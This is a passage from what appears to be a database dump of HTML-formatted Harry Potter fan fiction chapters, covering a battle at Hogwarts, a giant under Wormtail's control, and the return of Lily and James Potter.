style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Oh, sorry\nSnape,&quot; said Sirius with a devilish grin.&nbsp;\n&quot;There\'re just so many enemies here that one of my stray curses\nmust\'ve hit you by accident.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Snape sneered and\nturned back to firing curses at the dark forces.&nbsp; But, he then also sneeked in a minor curse onto the back of\nSirius\'s head.&nbsp; Sirius whirled around in\nanger but Remus grabbed his wrist and glared at him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Just drop\nit, Sirius!&quot; he snapped.&nbsp; Sirius\ngrumbled and turned back to firing curses at the dark forces.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">At the moment, a\ndragon, a Chinese Fireball to be specific came whizzing over their heads,\nshooting flames at the resistance fighters.&nbsp;\nRemus ducked to avoid the flames and Sirius bounded out of the way by\nchanging into a black dog.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">At that moment, a\ndementor came swooping down on Remus.&nbsp;\nRemus hurriedly thought up a happy thought, fighting down the memories\nprovoked by the dementor of being bitten by a werewolf, and said, <i>&quot;Expecto\nPatronum.&quot;</i>&nbsp; Though the patronus\nhe created lacked a clear form, it was still enough to drive the dementor\naway.&nbsp; He breathed a sigh of relief as\nSirius came barking up to him, still in his dog form.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The Fireball was\nstill flying around shooting flames at the resistance fighters.&nbsp; That didn\'t last however, when Hagrid\ngrabbed the dragon\'s tail and hoisted himself on to the dragon\'s back!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Well\nnow,&quot; said Hagrid looking very happy, &quot;aren\'t yeh a cu\'e\ndragon?&quot;&nbsp; The dragon roared and\ntried to fling Hagrid off its back.&nbsp; The\nhalf-giant simply clung onto the dragon\'s horns and started patting the\ndragon\'s head!&nbsp; &quot;Oh, so yeh wanna\nplay?&quot; said Hagrid.&nbsp; &quot;Well,\nLets play toge\'er.&quot;&nbsp; Hagrid through\na rope around the Fireball\'s neck and made it into a make shift reign.&nbsp; He pulled on the reign and the dragon complied.&nbsp; Soon, Hagrid had full control over the\nFireball and was having it shoot flames at the dark forces rather than the\nresistance fighters.&nbsp; The members of the\nresistance started cheering when they so the dragon on their side.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Way to go,\nHagrid!&quot; shouted Ron while waving his hands frantically.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;You\'re the\nbest!&quot; shouted Magaret.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Seeing the\nfireball attacking the dark forces, all of the other dragons concluded that the\ndark forces were the real enemy and turned on their masters!&nbsp; Within minutes, the dragons had rounded all\nof the dark forces up.&nbsp; The resistance\nfighters cheered at seemingly winning their victory.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">However, all such\nthoughts of victory were lost when the ground trembled a little.&nbsp; The resistance fighters all held their\nbreath as the tremors continued.&nbsp; They\nstarted to get stronger, and there was a thudding sound coming with every\ntremor.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Suddenly, the\noriginator of the tremors burst out of the forbidden forest!&nbsp; It was a giant.&nbsp; A giant about 25 feet tall, extremely muscular, had long whitish\nhair, gray eyes, was bare chest, and was wearing a pair of large trousers and\nboots.&nbsp; He was also carrying a club\nabout the size of a bus.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hagrid gasped and\nsaid, &quot;That\'s me cousin, Fanir!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Suddenly, a Death Eater\npopped up on the giant\'s shoulder.&nbsp; He\nwas a short, skinny man who had the image of once being chubby, and had a\ngleaming silver right hand.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Wormtail!&quot;\nspat out Sirius.&nbsp; Remus also looked\nextremely angry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Wormtail laughed a\nsqueaky laugh that resembled a rat\'s squeak.&nbsp;\n&quot;Thought you had won?&quot; he gloated.&nbsp; &quot;Thought you had defeated the Killer Elite?&nbsp; Well too bad, because Fanir here is going to\nfinish all of here now!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;What\'s the\nmatter, Peter?&quot; growled Remus, sounding like a wolf, &quot;too cowardly to\nfight yourself?&nbsp; Still relying on people\nbigger and stronger than yourself to fight your battles?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Wormtail made a\nvery ugly look at Remus.&nbsp; &quot;Kiil\nthem,&quot; he ordered the giant.&nbsp; The\ngiant gave out a mighty roar and swung his club down at the resistance\nfighters, leaving a crater about the size of a parking lot!&nbsp; The resistance fighters barely leapt out of\nthe way.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The dragons all\nflew toward the giant, but Fanir simply swung his club around and batted all\nthe dragons away.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;He\'s me\ncousin,&quot; shouted Hagrid.&nbsp; &quot;Let\nme speak wi\' him!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Won\'t do any\ngood,&quot; growled &quot;Mad-Eye&quot; Moody.&nbsp;\n&quot;Look at his eyes.&quot;&nbsp;\nSure enough, Fanir\'s eyes were glassy and seemed to have no life in\nthem.&nbsp; &quot;Pettigrew\'s got him under\nthe Imperious Curse!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The resistance\nmembers started firing curses at the giant, but Fanir simply glanced them off\nas if they were nothing.&nbsp; Wormtail\nstarted to laugh again.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;That won\'t\nbe enough to defeat a giant!&quot; he gloated.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;No,&quot;\nsaid Sirius.&nbsp; &quot;But I know what\nwill.&nbsp; And that\'s to get the guy controlling\nthe giant!&quot;&nbsp; Wormtail suddenly\nlooked frightened.&nbsp; Sirius fired a\npowerful hex at Pettigrew, but Fanir put a hand around him and blocked the\ncurse.&nbsp; Wormtail laughed again.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;You can not\nwin!&quot;&nbsp; He shouted with a\nlaugh.&nbsp; &quot;Now, prepare to meet your\ndooms!&quot;&nbsp; The resistance members\nwere starting to give up, losing hope.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Don\'t give\nup yet!&quot; yelled Ron.&nbsp;\n&quot;Remember, there was a time when we were all despaired, by the way\nI saw it, that all changed when Harry returned!&nbsp; The Return of the Lion signals the defeat of the serpent!&nbsp; We can\'t give up hope when Harry hasn\'t even\nbeen defeated yet!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;But where\nare your precious Potters now?&quot; mocked Wormtail.&nbsp; &quot;Not here.&nbsp; Fanir,\nkill him first.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Fanir roared and charged\nat Ron who was glaring at Pettigrew defiantly.&nbsp;\nAll of the Weasleys turned completely pale as the giant gave a mighty\nheave and swung his club down at Ron!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Margaret and Ginny\nscreamed.&nbsp; &quot;Ron!&nbsp; NOOOOOOOO!!!!!&quot;&nbsp; Both of them burst into tears as the club\ncame crashing down on Ron.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">However, Ron was\nnot crushed by the club to everyone\'s surprise, including Ron himself.&nbsp; For at the last minute, someone had leapt in\nfront of Ron and cast an extremely powerful shield charm that deflected the\nmonster club!&nbsp; It was the armored rider\non the stag.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Good\njob,&quot; said the rider in a clear feminine voice.&nbsp; &quot;I\'m sure that Harry is very proud to have a best friend\nlike you.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A/N Although I\nlove Yokohama, Japan, there are times when I just plain miss life in Portland,\nOregon.&nbsp; All well, I\'ll be back there\nnext September anyway.&nbsp; So, please R/R\nthis chapter.&nbsp; I\'m starting to fall\nbehind schedule a little on my writing but if you review, I\'ll continue the\ndaily updates.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(146, 11, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Disclaimer: The <u>Harry\nPotter</u> series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&quot;He will swallow\nup death forever.&nbsp; The Sovereign Lord\nwill wipe away tears from all faces; he will remove the disgrace of his people\nfrom all the earth.&nbsp; The Lord has\nspoken.&quot;</i></p>\n\n<i>Isaiah 25:8</i>\n\nChapter 11: The\nRider on the Stag\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">For a moment,\neverybody was absolutely silent.&nbsp; It\nseems as if people were in complete shock of the timely arrival of the rider on\nthe stag.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Is it just\nme, or does that rider\'s voice sound very familiar?&quot; whispered Remus.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I personally\ncan\'t believe who that stag looks like,&quot; whispered Sirius.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Sorry, I\'m\nlate,&quot; said the rider, &quot;but it took some time to get here from\nLondon, we should\'ve never gone there.&nbsp;\nAnd you can\'t apparate on Hogwarts grounds.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron was\nspeechless, as he sat there on the ground in front of the rider.&nbsp; &quot;W-who are you?&quot; he finally\nmanaged to splutter out.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The rider didn\'t\nneed to answer, for at that moment, due to the blow of the club on the shield\ncharm, the rider\'s helmet cracked in half and fell to the ground.&nbsp; Long, wavy, dark red hair flowed out and a\npair of very familiar emerald green eyes shone warmly toward Ron.&nbsp; The rider gasped and brought her hand to her\nmouth as she realized that her helmet had fallen off.&nbsp; She muttered, &quot;Oops,&quot; and looked a little red.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Everybody present\ngasped as they recognized the rider, and Sirius and Remus looked particularly\nshocked.&nbsp; &quot;Its not possible!&quot;\nscreamed Sirius.&nbsp; &quot;It can\'t be\nher!&quot;&nbsp; It was.&nbsp; The rider was none other than Lily Evans\nPotter!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Lily looked around\nand shrugged.&nbsp; &quot;Well, I suppose the\ncat\'s out of the bag,&quot; she said.&nbsp;\nThe stag nodded.&nbsp; As soon as Lily\ndismounted the stag, the stag transformed into a man who was wearing the exact\nsame armor and cape as Lily, but looked identical to Harry, except that he had\nbrown eyes and no scar.&nbsp; It was James\nPotter!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">By then, absolutely\neverybody on the battlefield was speechless.&nbsp;\nSirius and Remus looked at Lily and James with shock and disbelief in\ntheir eyes while Snape looked horrified.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">James looked\naround.&nbsp; &quot;Well, as much as I\'d love\nloved to catch up with everybody, I think we need to take care of this\ngiant,&quot; he said.&nbsp; James made a\ngentleman like bow toward Lily and gestured toward Fanir.&nbsp; &quot;Would you do the honors, Lily?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Why Prongs,\nI would love to,&quot; said Lily.&nbsp; She\nslowly walked up to the giant and pulled a wand out of her armor.&nbsp; She looked up at Wormtail and said,\n&quot;Peter.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Wormtail, who had\nbeen speechless up till then, suddenly started screaming hysterically with\nterror.&nbsp; &quot;Lily?!&nbsp; NOOOOOOOOOOOO!!!!!&nbsp; NO, IT CANNOT BE!!!&quot;&nbsp;\nHe started shaking his head fiercely in a gesture that could only be\ndescribed as extreme guilt.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Feeling\nPettigrew\'s hysteria, the giant seemingly panicked and swung his club down\ntoward the ground in a single powerful blow, leaving a crater about the size of\na car.&nbsp; Lily however, used a burst of\nmagic to propel herself forty feet into the air, thus avoiding the club.&nbsp; She landed on top of the giant\'s head,\npointed her wand at the top of the head and shouted, <i>&quot;Maximus\nStupefy!&quot;</i>&nbsp; The giant fell over\nunconscious with a mighty crash.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Wormtail was\npinned under the giant\'s right arm.&nbsp; He\ntried to struggle out when he suddenly saw a shadow over him.&nbsp; He wearily looked up to see James standing\nover him looking menacing.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Why hello,\nPeter,&quot; said James with a grin on his face, yet strong malice dipping in\nhis voice.&nbsp; &quot;I wanted to talk to\nyou about something.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;J-James?&quot;\nmumbled Pettigrew, looking terrified.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Tell me,\nPeter.&nbsp; What were your words again when\nyou agreed to become our secret keeper?&nbsp;\nThat we could trust you with our lives?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;James,\nI-I...&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I trusted\nyou with my life, Pettigrew!&quot; yelled James.&nbsp; He rammed his fist as hard as he could into Pettigrew\'s\nface.&nbsp; Wormtail was promptly knocked\nout.&nbsp; James walked over to Lily and\nsaid, &quot;Do you know how long I\'ve waited to do that?&quot; with a grin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Lily grinned and\nnodded.&nbsp; She turned to all the\nresistance fighters who were still speechless and said, &quot;I think we owe\nthem an explanation.&quot;&nbsp; James\nnodded.&nbsp; They made their way to Sirius\nand Remus.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Hey, Padfoot,\nMoony,&quot; said James.&nbsp; Sirius and\nRemus simply stared at them, still shocked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Finally, Sirius\nmanaged to splutter, &quot;J-James...?&nbsp;\nL-Lily...?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Is...is it\nreally you?&quot; asked Remus.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Lily nodded and\nsmiled.&nbsp; &quot;Trust me, Remus.&nbsp; Its really us.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Remus and Sirius\nlooked over James and Lily for a moment.&nbsp;\nThey both appeared to be in their early twenties, the age they were when\nVoldemort murdered them, 17 years previously.&nbsp;\nSuddenly, Remus and Sirius smiled widely, and they pulled Lily and James\ninto fierce hugs, laughing with pear mirth while tears of joy streamed down\ntheir eyes.&nbsp; As if on cue, all of the\nresistance fighters, except Snape who had a neutral look, ran forward and\neither pulled Lily and James into hugs or shook their hands.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Snape walked up to\nJames.&nbsp; James turned to him and put up a\nneutral look on his face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Potter,&quot;\nsaid Snape in a neutral tone.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Snape,&quot;\nsaid James in a similar tone.&nbsp; He\nbrought his hand out, and Snape slowly shook it, both still wearing neutral\nexpressions.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;But James,\nLily, how is this possible?&quot; asked Sirius.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I believe I\ncan answer that,&quot; said a voice coming from the castle.&nbsp; The resistance fighters all whirled around\nand gasped to see none other than Albus Dumbledore walking toward them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Headmaster?&quot;\nasked McGonagall with slight hesitation.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Professor?&quot;\nasked Hagrid.&nbsp; Dumbledore nodded with a\nmerry twinkle in his eye.&nbsp; In a matter\nof seconds, all of the resistance fighters were gathered around Dumbledore,\neither showering him with questions or shaking his hand and welcoming him back.</p>\n\n<p class="MsoNormal" 